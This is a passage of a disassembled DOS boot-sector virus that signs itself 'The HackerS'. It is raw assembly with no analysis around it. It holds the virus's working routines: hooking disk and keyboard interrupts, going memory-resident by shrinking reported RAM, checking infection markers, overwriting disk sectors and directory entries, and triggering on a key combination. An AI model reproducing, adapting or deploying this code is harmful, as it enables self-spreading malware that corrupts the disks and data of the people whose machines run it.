  3753.         db    0EBh, 10h
  3754.  
  3755.         nop
  3756.  
  3757.         pop    cx
  3758.  
  3759.         stc                ; Set carry flag
  3760.  
  3761.         inc    bx
  3762.  
  3763.         stc                ; Set carry flag
  3764.  
  3765.         xor    cx,di
  3766.  
  3767.         inc    bp
  3768.  
  3769.         stc                ; Set carry flag
  3770.  
  3771.         push    dx
  3772.  
  3773.         stc                ; Set carry flag
  3774.  
  3775.         push    ax
  3776.  
  3777.         add    [bx+si],al
  3778.  
  3779.         push    es
  3780.  
  3781.         add    [bx+si+53h],dx
  3782.  
  3783.         push    cx
  3784.  
  3785.         push    dx
  3786.  
  3787.         push    ds
  3788.  
  3789.         push    es
  3790.  
  3791.         push    si
  3792.  
  3793.         push    di
  3794.  
  3795.         mov    al,byte ptr ds:[529h]
  3796.  
  3797.         mov    byte ptr ds:[701h],al
  3798.  
  3799.         mov    byte ptr ds:[704h],1
  3800.  
  3801.         mov    byte ptr ds:[702h],0
  3802.  
  3803.         mov    byte ptr ds:[703h],6
  3804.  
  3805. loc_0029:
  3806.  
  3807.         mov    dh,byte ptr ds:[702h]
  3808.  
  3809.         mov    dl,byte ptr ds:[701h]
  3810.  
  3811.         xor    ch,ch            ; Zero register
  3812.  
  3813.         mov    cl,byte ptr ds:[703h]
  3814.  
  3815.         lea    bx,cs:[1277h]        ; Load effective addr
  3816.  
  3817.         mov    ax,201h
  3818.  
  3819.         int    6Fh            ; ??int non-standard interrupt
  3820.  
  3821.         xor    bx,bx            ; Zero register
  3822.  
  3823. loc_0030:
  3824.  
  3825.         mov    al,byte ptr ds:[1282h][bx]
  3826.  
  3827.         test    al,8
  3828.  
  3829.         jz    loc_0031        ; Jump if zero
  3830.  
  3831.         or    byte ptr ds:[1282h][bx],9
  3832.  
  3833.         lea    si,ds:[6F6h]        ; Load effective addr
  3834.  
  3835.         lea    di,[bx+1277h]        ; Load effective addr
  3836.  
  3837.         mov    cx,0Bh
  3838.  
  3839.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  3840.  
  3841.         xor    al,al            ; Zero register
  3842.  
  3843.         lea    di,[bx+1283h]        ; Load effective addr
  3844.  
  3845.         mov    cx,14h
  3846.  
  3847.         stosb                ; Store al to es:[di]
  3848.  
  3849.         call    sub_0008
  3850.  
  3851.         jmp    short loc_0035
  3852.  
  3853.         db    90h
  3854.  
  3855. loc_0031:
  3856.  
  3857.         add    bx,20h
  3858.  
  3859.         cmp    bx,200h
  3860.  
  3861.         jae    loc_0032        ; Jump if above or =
  3862.  
  3863.         jmp    short loc_0030
  3864.  
  3865. loc_0032:
  3866.  
  3867.         cmp    byte ptr ds:[703h],9
  3868.  
  3869.         jb    loc_0033        ; Jump if below
  3870.  
  3871.         xor    byte ptr ds:[702h],1
  3872.  
  3873.         mov    byte ptr ds:[703h],1
  3874.  
  3875.         jmp    short loc_0034
  3876.  
  3877. loc_0033:
  3878.  
  3879.         inc    byte ptr ds:[703h]
  3880.  
  3881. loc_0034:
  3882.  
  3883.         inc    byte ptr ds:[704h]
  3884.  
  3885.         cmp    byte ptr ds:[704h],7
  3886.  
  3887.         ja    loc_0035        ; Jump if above
  3888.  
  3889.         jmp    short loc_0029
  3890.  
  3891. loc_0035:
  3892.  
  3893.         pop    di
  3894.  
  3895.         pop    si
  3896.  
  3897.         pop    es
  3898.  
  3899.         pop    ds
  3900.  
  3901.         pop    dx
  3902.  
  3903.         pop    cx
  3904.  
  3905.         pop    bx
  3906.  
  3907.         pop    ax
  3908.  
  3909.         retn
  3910.  
  3911. sub_0007    endp
  3912.  
  3913.  
  3914.  
  3915.  
  3916.  
  3917. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  3918.  
  3919. ;                   SUBROUTINE
  3920.  
  3921. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  3922.  
  3923.  
  3924.  
  3925. sub_0008    proc    near
  3926.  
  3927.         push    ax
  3928.  
  3929.         push    bx
  3930.  
  3931.         push    cx
  3932.  
  3933.         push    dx
  3934.  
  3935.         xor    ah,ah            ; Zero register
  3936.  
  3937.         int    6Fh            ; ??int non-standard interrupt
  3938.  
  3939.         jc    loc_0036        ; Jump if carry Set
  3940.  
  3941.         mov    dh,byte ptr ds:[702h]
  3942.  
  3943.         mov    dl,byte ptr ds:[701h]
  3944.  
  3945.         xor    ch,ch            ; Zero register
  3946.  
  3947.         mov    cl,byte ptr ds:[703h]
  3948.  
  3949.         lea    bx,cs:[1277h]        ; Load effective addr
  3950.  
  3951.         mov    ax,301h
  3952.  
  3953.         int    6Fh            ; ??int non-standard interrupt
  3954.  
  3955. loc_0036:
  3956.  
  3957.         pop    dx
  3958.  
  3959.         pop    cx
  3960.  
  3961.         pop    bx
  3962.  
  3963.         pop    ax
  3964.  
  3965.         retn
  3966.  
  3967. sub_0008    endp
  3968.  
  3969.  
  3970.  
  3971.         db    0E9h, 0Bh
  3972.  
  3973.         db    0Ah, 'The HackerS'
  3974.  
  3975.         db     00h, 00h, 00h, 00h,0AAh,0A8h
  3976.  
  3977.         db     00h,0AAh,0A0h, 00h, 00h, 00h
  3978.  
  3979.         db     00h, 0Ah,0AAh,0AAh,0AAh,0AAh
  3980.  
  3981.         db    0AAh,0A0h, 00h, 20h, 00h, 00h
  3982.  
  3983.         db     00h, 00h, 00h, 0Ah,0AAh, 80h
  3984.  
  3985.         db     00h, 00h, 00h, 02h
  3986.  
  3987.         db    7 dup (0AAh)
  3988.  
  3989.         db    0A8h, 00h, 2Ah,0AAh, 00h, 00h
  3990.  
  3991.         db    0F6h, 22h, 28h, 00h, 00h,0EBh
  3992.  
  3993.         db     66h, 90h, 21h, 00h, 02h, 87h
  3994.  
  3995.         db    0E9h, 00h,0F0h, 91h, 08h, 00h
  3996.  
  3997.         db    0C8h, 00h, 00h
  3998.  
  3999.         db    ' Welcome to the'
  4000.  
  4001.         db    '     C l u b     --The HackerS--'
  4002.  
  4003.         db    '     Hackin', 27h, '       All T'
  4004.  
  4005.         db    'he Time  '
  4006.  
  4007.         db     00h, 00h,0FFh,0FFh, 00h, 7Ch
  4008.  
  4009.         db     00h
  4010.  
  4011.         db     00h, 9Ch, 50h, 1Eh, 06h, 56h
  4012.  
  4013.         db     57h, 33h,0C0h, 8Eh,0D8h, 8Eh
  4014.  
  4015.         db    0C0h, 2Eh,0C6h, 06h, 05h, 04h
  4016.  
  4017.         db     08h,0A1h, 4Ch, 00h, 3Dh, 26h
  4018.  
  4019.         db     05h, 74h, 3Fh,0FAh, 2Eh,0FFh
  4020.  
  4021.         db     06h, 03h, 04h,0A1h, 4Ch, 00h
  4022.  
  4023.         db    0A3h,0BCh, 01h, 2Eh,0A3h, 0Ah
  4024.  
  4025.         db     04h,0A1h, 4Eh, 00h,0A3h,0BEh
  4026.  
  4027.         db     01h, 2Eh,0A3h, 0Ch, 04h,0B8h
  4028.  
  4029.         db     26h, 05h,0A3h, 4Ch, 00h, 8Ch
  4030.  
  4031.         db    0C8h,0A3h, 4Eh, 00h,0A1h, 24h
  4032.  
  4033.         db     00h, 2Eh,0A3h, 06h, 04h,0A1h
  4034.  
  4035.         db     26h, 00h, 2Eh,0A3h, 08h, 04h
  4036.  
  4037.         db    0C7h, 06h, 24h, 00h,0D9h, 04h
  4038.  
  4039.         db     8Ch,0C8h,0A3h, 26h, 00h,0FBh
  4040.  
  4041. loc_0039:
  4042.  
  4043.         push    cs
  4044.  
  4045.         pop    ds
  4046.  
  4047.         mov    si,offset data_0041+40h    ; (' ')
  4048.  
  4049.         mov    di,data_0011e
  4050.  
  4051.         mov    cx,200h
  4052.  
  4053.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  4054.  
  4055.         pop    di
  4056.  
  4057.         pop    si
  4058.  
  4059.         pop    es
  4060.  
  4061.         pop    ds
  4062.  
  4063.         pop    ax
  4064.  
  4065.         popf                ; Pop flags
  4066.  
  4067.         jmp    cs:data_0057
  4068.  
  4069.         sti                ; Enable interrupts
  4070.  
  4071.         push    ax
  4072.  
  4073.         push    cx
  4074.  
  4075.         push    ds
  4076.  
  4077.         pushf                ; Push flags
  4078.  
  4079.         xor    ax,ax            ; Zero register
  4080.  
  4081.         mov    ds,ax
  4082.  
  4083.         in    al,60h            ; port 60h, keybd scan or sw1
  4084.  
  4085.         test    al,80h
  4086.  
  4087.         jnz    loc_0042        ; Jump if not zero
  4088.  
  4089.         mov    ah,ds:keybd_flags_1_
  4090.  
  4091.         test    ah,8
  4092.  
  4093.         jz    loc_0042        ; Jump if zero
  4094.  
  4095.         test    ah,4
  4096.  
  4097.         jz    loc_0042        ; Jump if zero
  4098.  
  4099.         cmp    al,53h            ; 'S'
  4100.  
  4101.         jne    loc_0040        ; Jump if not equal
  4102.  
  4103.         cmp    byte ptr ds:video_mode_,7
  4104.  
  4105.         je    loc_0041        ; Jump if equal
  4106.  
  4107.         cmp    cs:data_0050,3
  4108.  
  4109.         jb    loc_0041        ; Jump if below
  4110.  
  4111. ;*        call    sub_0017        ;*
  4112.  
  4113.         db    0E8h,0B7h, 02h
  4114.  
  4115.         jmp    short loc_0041
  4116.  
  4117. loc_0040:
  4118.  
  4119.         cmp    al,3Fh            ; '?'
  4120.  
  4121.         jne    loc_0042        ; Jump if not equal
  4122.  
  4123. loc_0041:
  4124.  
  4125.         mov    word ptr ds:warm_boot_flag_,1234h
  4126.  
  4127.         jmp    cs:data_0056
  4128.  
  4129. loc_0042:
  4130.  
  4131.         popf                ; Pop flags
  4132.  
  4133.         pop    ds
  4134.  
  4135.         pop    cx
  4136.  
  4137.         pop    ax
  4138.  
  4139.         jmp    dword ptr cs:data_0052
  4140.  
  4141. ;*        jmp    short loc_0044        ;*
  4142.  
  4143.         db    0EBh, 0Ah
  4144.  
  4145.         add    [bx+di],al
  4146.  
  4147.         add    [bx+di],al
  4148.  
  4149.         jo    loc_0043        ; Jump if overflow=1
  4150.  
  4151. loc_0043:
  4152.  
  4153.         popf                ; Pop flags
  4154.  
  4155.         adc    [bp+si],ax
  4156.  
  4157.         add    ds:data_0010e[si],bx
  4158.  
  4159.         push    si
  4160.  
  4161.         push    di
  4162.  
  4163.         push    cs
  4164.  
  4165.         pop    ds
  4166.  
  4167.         mov    byte ptr ds:[528h],dh
  4168.  
  4169.         mov    byte ptr ds:[529h],dl
  4170.  
  4171.         mov    byte ptr ds:[52Ah],ch
  4172.  
  4173.         mov    byte ptr ds:[52Bh],cl
  4174.  
  4175.         mov    word ptr ds:[52Ch],es
  4176.  
  4177.         mov    word ptr ds:[52Eh],bx
  4178.  
  4179.         mov    byte ptr ds:[530h],ah
  4180.  
  4181.         mov    byte ptr data_0066,al    ; ('WS      EXE ')
  4182.  
  4183.         cmp    ah,2
  4184.  
  4185.         jb    loc_0045        ; Jump if below
  4186.  
  4187.         cmp    ah,5
  4188.  
  4189.         ja    loc_0045        ; Jump if above
  4190.  
  4191.         cmp    dl,1
  4192.  
  4193.         ja    loc_0045        ; Jump if above
  4194.  
  4195.         cmp    ch,0
  4196.  
  4197.         jne    loc_0045        ; Jump if not equal
  4198.  
  4199.         cmp    dh,0
  4200.  
  4201.         jne    loc_0045        ; Jump if not equal
  4202.  
  4203.         dec    cs:data_0051
  4204.  
  4205.         jz    loc_0046        ; Jump if zero
  4206.  
  4207. loc_0045:
  4208.  
  4209.         jmp    short loc_0047
  4210.  
  4211. loc_0046:
  4212.  
  4213.         push    cs
  4214.  
  4215.         pop    es
  4216.  
  4217.         mov    cs:data_0051,2
  4218.  
  4219.         call    sub_0009
  4220.  
  4221. loc_0047:
  4222.  
  4223.         mov    dh,byte ptr ds:[528h]
  4224.  
  4225.         mov    dl,byte ptr ds:[529h]
  4226.  
  4227.         mov    ch,byte ptr ds:[52Ah]
  4228.  
  4229.         mov    cl,byte ptr ds:[52Bh]
  4230.  
  4231.         mov    es,word ptr ds:[52Ch]
  4232.  
  4233.         mov    bx,word ptr ds:[52Eh]
  4234.  
  4235.         mov    ah,byte ptr ds:[530h]
  4236.  
  4237.         mov    al,byte ptr data_0066    ; ('WS      EXE ')
  4238.  
  4239.         pop    di
  4240.  
  4241.         pop    si
  4242.  
  4243.         pop    es
  4244.  
  4245.         pop    ds
  4246.  
  4247.         popf                ; Pop flags
  4248.  
  4249.         jmp    dword ptr cs:data_0054
  4250.  
  4251.  
  4252.  
  4253. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  4254.  
  4255. ;                   SUBROUTINE
  4256.  
  4257. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  4258.  
  4259.  
  4260.  
  4261. sub_0009    proc    near
  4262.  
  4263.         push    ax
  4264.  
  4265.         push    bx
  4266.  
  4267.         push    cx
  4268.  
  4269.         push    dx
  4270.  
  4271.         xor    ah,ah            ; Zero register
  4272.  
  4273.         int    6Fh            ; ??int non-standard interrupt
  4274.  
  4275.         jc    loc_0050        ; Jump if carry Set
  4276.  
  4277.         xor    dh,dh            ; Zero register
  4278.  
  4279.         mov    dl,byte ptr cs:[529h]
  4280.  
  4281.         mov    cx,1
  4282.  
  4283.         mov    bx,200h
  4284.  
  4285.         mov    ax,201h
  4286.  
  4287.         int    6Fh            ; ??int non-standard interrupt
  4288.  
  4289.         jc    loc_0050        ; Jump if carry Set
  4290.  
  4291.         cmp    data_0047,537Ch
  4292.  
  4293.         je    loc_0050        ; Jump if equal
  4294.  
  4295.         cmp    data_0046,0FAFAh
  4296.  
  4297.         je    loc_0048        ; Jump if equal
  4298.  
  4299.         cmp    data_0043,1234h
  4300.  
  4301.         jne    loc_0049        ; Jump if not equal
  4302.  
  4303.         call    sub_0010
  4304.  
  4305.         jc    loc_0050        ; Jump if carry Set
  4306.  
  4307.         jmp    short loc_0049
  4308.  
  4309. loc_0048:
  4310.  
  4311. ;*        call    sub_0011        ;*
  4312.  
  4313.         db    0E8h, 44h, 00h
  4314.  
  4315.         jc    loc_0050        ; Jump if carry Set
  4316.  
  4317. loc_0049:
  4318.  
  4319.         mov    bx,200h
  4320.  
  4321. ;*        call    sub_0013        ;*
  4322.  
  4323.         db    0E8h,0E1h, 00h
  4324.  
  4325.         jc    loc_0050        ; Jump if carry Set
  4326.  
  4327. ;*        call    sub_0012        ;*
  4328.  
  4329.         db    0E8h, 58h, 00h
  4330.  
  4331. loc_0050:
  4332.  
  4333.         pop    dx
  4334.  
  4335.         pop    cx
  4336.  
  4337.         pop    bx
  4338.  
  4339.         pop    ax
  4340.  
  4341.         retn
  4342.  
  4343. sub_0009    endp
  4344.  
  4345.  
  4346.  
  4347.  
  4348.  
  4349. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  4350.  
  4351. ;                   SUBROUTINE
  4352.  
  4353. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  4354.  
  4355.  
  4356.  
  4357. sub_0010    proc    near
  4358.  
  4359.         mul    byte ptr [bx+di]    ; ax = data * al
  4360.  
  4361.         sub    [bx+si],al
  4362.  
  4363.         add    bl,ch
  4364.  
  4365.         xor    al,90h
  4366.  
  4367.         dec    cx
  4368.  
  4369.         inc    dx
  4370.  
  4371.         dec    bp
  4372.  
  4373.         and    [bx+si],ah
  4374.  
  4375.         xor    bp,ds:data_0036e
  4376.  
  4377.         add    al,[bp+si]
  4378.  
  4379.         add    [bx+si],ax
  4380.  
  4381.         add    dh,[bx+si+0]
  4382.  
  4383.         rol    byte ptr [bp+si],1    ; Rotate
  4384.  
  4385.         std                ; Set direction flag
  4386.  
  4387.         add    al,[bx+si]
  4388.  
  4389.         or    [bx+si],ax
  4390.  
  4391.         add    al,[bx+si]
  4392.  
  4393.         add    [bx+si],al
  4394.  
  4395.         add    [bx+si],al
  4396.  
  4397.         add    [bx+si],al
  4398.  
  4399.         add    [bx+si],al
  4400.  
  4401.         add    [bx+si],al
  4402.  
  4403.         add    [bx+si],al
  4404.  
  4405.         add    [bx+si],al
  4406.  
  4407.         add    [bx+si],al
  4408.  
  4409.         add    [bx+si],al
  4410.  
  4411.         add    [bp+si],dl
  4412.  
  4413.         add    [bx+si],al
  4414.  
  4415.         add    [bx+si],al
  4416.  
  4417.         add    [bx+si],ax
  4418.  
  4419.         cli                ; Disable interrupts
  4420.  
  4421.         xor    ax,ax            ; Zero register
  4422.  
  4423.         mov    ss,ax
  4424.  
  4425.         mov    sp,7C00h
  4426.  
  4427.         push    ss
  4428.  
  4429.         pop    es
  4430.  
  4431.         mov    bx,data_0005e
  4432.  
  4433.         lds    si,dword ptr ss:[bx]    ; Load 32 bit ptr
  4434.  
  4435.         push    ds
  4436.  
  4437.         push    si
  4438.  
  4439.         push    ss
  4440.  
  4441.         push    bx
  4442.  
  4443.         mov    di,data_0022e
  4444.  
  4445.         mov    cx,0Bh
  4446.  
  4447.         cld                ; Clear direction
  4448.  
  4449.  
  4450.  
  4451. locloop_0051:
  4452.  
  4453.         lodsb                ; String [si] to al
  4454.  
  4455.         cmp    byte ptr es:[di],0
  4456.  
  4457.         je    loc_0052        ; Jump if equal
  4458.  
  4459.         mov    al,es:[di]
  4460.  
  4461. loc_0052:
  4462.  
  4463.         stosb                ; Store al to es:[di]
  4464.  
  4465.         mov    al,ah
  4466.  
  4467.         loop    locloop_0051        ; Loop if cx > 0
  4468.  
  4469.  
  4470.  
  4471.         push    es
  4472.  
  4473.         pop    ds
  4474.  
  4475.         mov    [bx+2],ax
  4476.  
  4477.         mov    word ptr [bx],7C2Bh
  4478.  
  4479.         sti                ; Enable interrupts
  4480.  
  4481.         int    13h            ; Disk  dl=drive ?  ah=func 00h
  4482.  
  4483.                         ;  reset disk, al=return status
  4484.  
  4485.         jc    loc_0055        ; Jump if carry Set
  4486.  
  4487.         mov    al,ds:data_0014e
  4488.  
  4489.         cbw                ; Convrt byte to word
  4490.  
  4491.         mul    word ptr ds:data_0017e    ; ax = data * ax
  4492.  
  4493.         add    ax,ds:data_0020e
  4494.  
  4495.         add    ax,ds:data_0013e
  4496.  
  4497.         mov    ds:data_0028e,ax
  4498.  
  4499.         mov    ds:data_0023e,ax
  4500.  
  4501.         mov    ax,20h
  4502.  
  4503.         mul    word ptr ds:data_0015e    ; ax = data * ax
  4504.  
  4505.         mov    bx,ds:data_0012e
  4506.  
  4507.         add    ax,bx
  4508.  
  4509.         dec    ax
  4510.  
  4511.         div    bx            ; ax,dx rem=dx:ax/reg
  4512.  
  4513.         add    ds:data_0023e,ax
  4514.  
  4515.         mov    bx,500h
  4516.  
  4517.         mov    ax,ds:data_0028e
  4518.  
  4519.         call    sub_0015
  4520.  
  4521.         mov    ax,201h
  4522.  
  4523.         call    sub_0016
  4524.  
  4525.         jc    loc_0053        ; Jump if carry Set
  4526.  
  4527.         mov    di,bx
  4528.  
  4529.         mov    cx,0Bh
  4530.  
  4531.         mov    si,data_0030e
  4532.  
  4533.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  4534.  
  4535.         jnz    loc_0053        ; Jump if not zero
  4536.  
  4537.         lea    di,[bx+20h]        ; Load effective addr
  4538.  
  4539.         mov    si,data_0031e
  4540.  
  4541.         mov    cx,0Bh
  4542.  
  4543.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  4544.  
  4545.         jz    loc_0056        ; Jump if zero
  4546.  
  4547. loc_0053:
  4548.  
  4549.         mov    si,data_0029e
  4550.  
  4551. loc_0054:
  4552.  
  4553.         call    sub_0014
  4554.  
  4555.         xor    ah,ah            ; Zero register
  4556.  
  4557.         int    16h            ; Keyboard i/o  ah=function 00h
  4558.  
  4559.                         ;  get keybd char in al, ah=scan
  4560.  
  4561.         pop    si
  4562.  
  4563.         pop    ds
  4564.  
  4565.         pop    word ptr [si]
  4566.  
  4567.         pop    word ptr [si+2]
  4568.  
  4569.         int    19h            ; Bootstrap loader
  4570.  
  4571. loc_0055:
  4572.  
  4573.         mov    si,7DC0h
  4574.  
  4575.         jmp    short loc_0054
  4576.  
  4577. loc_0056:
  4578.  
  4579.         mov    ax,ds:data_0009e
  4580.  
  4581.         xor    dx,dx            ; Zero register
  4582.  
  4583.         div    word ptr ds:data_0012e    ; ax,dxrem=dx:ax/data
  4584.  
  4585.         inc    al
  4586.  
  4587.         mov    ds:data_0026e,al
  4588.  
  4589.         mov    ax,ds:data_0023e
  4590.  
  4591.         mov    ds:data_0027e,ax
  4592.  
  4593.         mov    bx,700h
  4594.  
  4595. loc_0057:
  4596.  
  4597.         mov    ax,ds:data_0023e
  4598.  
  4599.         call    sub_0015
  4600.  
  4601.         mov    ax,ds:data_0018e
  4602.  
  4603.         sub    al,ds:data_0025e
  4604.  
  4605.         inc    ax
  4606.  
  4607.         cmp    ds:data_0026e,al
  4608.  
  4609.         jae    loc_0058        ; Jump if above or =
  4610.  
  4611.         mov    al,ds:data_0026e
  4612.  
  4613. loc_0058:
  4614.  
  4615.         push    ax
  4616.  
  4617.         call    sub_0016
  4618.  
  4619.         pop    ax
  4620.  
  4621.         jc    loc_0055        ; Jump if carry Set
  4622.  
  4623.         sub    ds:data_0026e,al
  4624.  
  4625.         jz    loc_0059        ; Jump if zero
  4626.  
  4627.         add    ds:data_0023e,ax
  4628.  
  4629.         mul    word ptr ds:data_0012e    ; ax = data * ax
  4630.  
  4631.         add    bx,ax
  4632.  
  4633.         jmp    short loc_0057
  4634.  
  4635. loc_0059:
  4636.  
  4637.         mov    ch,ds:data_0016e
  4638.  
  4639.         mov    dl,ds:data_0032e
  4640.  
  4641.         mov    bx,ds:data_0027e
  4642.  
  4643. ;*        jmp    far ptr loc_0001    ;*
  4644.  
  4645. sub_0010    endp
  4646.  
  4647.  
  4648.  
  4649.         db    0EAh, 00h, 00h, 70h, 00h
  4650.  
  4651.  
  4652.  
  4653. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  4654.  
  4655. ;                   SUBROUTINE
  4656.  
  4657. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  4658.  
  4659.  
  4660.  
  4661. sub_0014    proc    near
  4662.  
  4663. loc_0060:
  4664.  
  4665.         lodsb                ; String [si] to al
  4666.  
  4667.         or    al,al            ; Zero ?
  4668.  
  4669.         jz    loc_ret_0061        ; Jump if zero
  4670.  
  4671.         mov    ah,0Eh
  4672.  
  4673.         mov    bx,7
  4674.  
  4675.         int    10h            ; Video display   ah=functn 0Eh
  4676.  
  4677.                         ;  write char al, teletype mode
  4678.  
  4679.         jmp    short loc_0060
  4680.  
  4681.  
  4682.  
  4683. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  4684.  
  4685.  
  4686.  
  4687. sub_0015:
  4688.  
  4689.         xor    dx,dx            ; Zero register
  4690.  
  4691.         div    word ptr ds:data_0018e    ; ax,dxrem=dx:ax/data
  4692.  
  4693.         inc    dl
  4694.  
  4695.         mov    ds:data_0025e,dl
  4696.  
  4697.         xor    dx,dx            ; Zero register
  4698.  
  4699.         div    word ptr ds:data_0019e    ; ax,dxrem=dx:ax/data
  4700.  
  4701.         mov    ds:data_0021e,dl
  4702.  
  4703.         mov    ds:data_0024e,ax
  4704.  
  4705.  
  4706.  
  4707. loc_ret_0061:
  4708.  
  4709.         retn
  4710.  
  4711. sub_0014    endp
  4712.  
  4713.  
  4714.  
  4715.  
  4716.  
  4717. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  4718.  
  4719. ;                   SUBROUTINE
  4720.  
  4721. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  4722.  
  4723.  
  4724.  
  4725. sub_0016    proc    near
  4726.  
  4727.         mov    ah,2
  4728.  
  4729.         mov    dx,ds:data_0024e
  4730.  
  4731.         mov    cl,6
  4732.  
  4733.         shl    dh,cl            ; Shift w/zeros fill
  4734.  
  4735.         or    dh,ds:data_0025e
  4736.  
  4737.         mov    cx,dx
  4738.  
  4739.         xchg    ch,cl
  4740.  
  4741.         mov    dl,ds:data_0032e
  4742.  
  4743.         mov    dh,ds:data_0021e
  4744.  
  4745.         int    13h            ; Disk  dl=drive ?  ah=func 02h
  4746.  
  4747.                         ;  read sectors to memory es:bx
  4748.  
  4749.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  4750.  
  4751.         retn
  4752.  
  4753. sub_0016    endp
  4754.  
  4755.  
  4756.  
  4757.         db    0Dh, 0Ah, 'Non-System disk or dis'
  4758.  
  4759.         db    'k error', 0Dh, 0Ah, 'Replace and'
  4760.  
  4761.         db    ' strike any key when ready', 0Dh
  4762.  
  4763.         db    0Ah, 0
  4764.  
  4765.         db    0Dh, 0Ah, 'Disk Boot failure', 0Dh
  4766.  
  4767.         db    0Ah, 0
  4768.  
  4769.         db    'IBMBIO  COMIBMDOS  COM'
  4770.  
  4771.         db    18 dup (0)
  4772.  
  4773.         db     55h,0AAh, 00h, 03h, 00h, 00h
  4774.  
  4775.         db     01h, 00h, 02h, 00h, 00h, 01h
  4776.  
  4777.         db     00h, 01h, 00h, 00h, 01h, 00h
  4778.  
  4779.         db     09h, 00h, 00h, 00h, 00h, 08h
  4780.  
  4781.         db     00h, 00h, 00h, 00h, 07h, 00h
  4782.  
  4783.         db     00h, 00h, 00h, 06h, 00h, 00h
  4784.  
  4785.         db     00h, 00h, 05h, 00h, 00h, 00h
  4786.  
  4787.         db    0F6h, 04h, 00h, 00h, 00h,0FDh
  4788.  
  4789.         db    0FFh,0FFh, 00h
  4790.  
  4791.         db    509 dup (0)
  4792.  
  4793.         db     03h, 00h, 00h, 00h,0F6h, 02h
  4794.  
  4795.         db     00h, 00h, 00h,0FDh,0FFh,0FFh
  4796.  
  4797.         db     00h
  4798.  
  4799.         db    508 dup (0)
  4800.  
  4801.         db    0F6h, 01h, 00h, 00h, 00h,0EBh
  4802.  
  4803.         db     29h, 90h, 22h, 34h, 12h, 00h
  4804.  
  4805.         db     01h, 00h, 00h, 00h, 00h, 02h
  4806.  
  4807.         db     02h, 01h, 00h, 02h, 70h, 00h
  4808.  
  4809.         db    0D0h, 02h,0FDh, 02h, 00h, 09h
  4810.  
  4811.         db     00h, 02h, 00h
  4812.  
  4813.         db    8 dup (0)
  4814.  
  4815.         db     0Fh, 00h, 00h, 00h, 00h, 01h
  4816.  
  4817.         db     00h
  4818.  
  4819.         db    0FAh,0FAh, 8Ch,0C8h, 8Eh,0D8h
  4820.  
  4821.         db     8Eh,0D0h,0BCh, 00h,0F0h,0FBh
  4822.  
  4823.         db    0B8h, 78h, 7Ch, 50h,0C3h, 73h
  4824.  
  4825.         db     0Ah
  4826.  
  4827.         db    0BBh, 90h, 7Ch, 53h,0C3h,0B9h
  4828.  
  4829.         db    0B0h, 7Ch, 51h,0C3h
  4830.  
  4831. loc_0064:
  4832.  
  4833.         xor    ax,ax            ; Zero register
  4834.  
  4835.         mov    ds,ax
  4836.  
  4837.         mov    ax,ds:main_ram_size_
  4838.  
  4839.         cmp    word ptr ds:data_0008e,0
  4840.  
  4841.         jne    loc_0065        ; Jump if not equal
  4842.  
  4843.         mov    ds:data_0008e,ax
  4844.  
  4845.         sub    ax,7
  4846.  
  4847.         mov    ds:main_ram_size_,ax
  4848.  
  4849. loc_0065:
  4850.  
  4851.         mov    cl,6
  4852.  
  4853.         shl    ax,cl            ; Shift w/zeros fill
  4854.  
  4855.         push    cs
  4856.  
  4857.         pop    ds
  4858.  
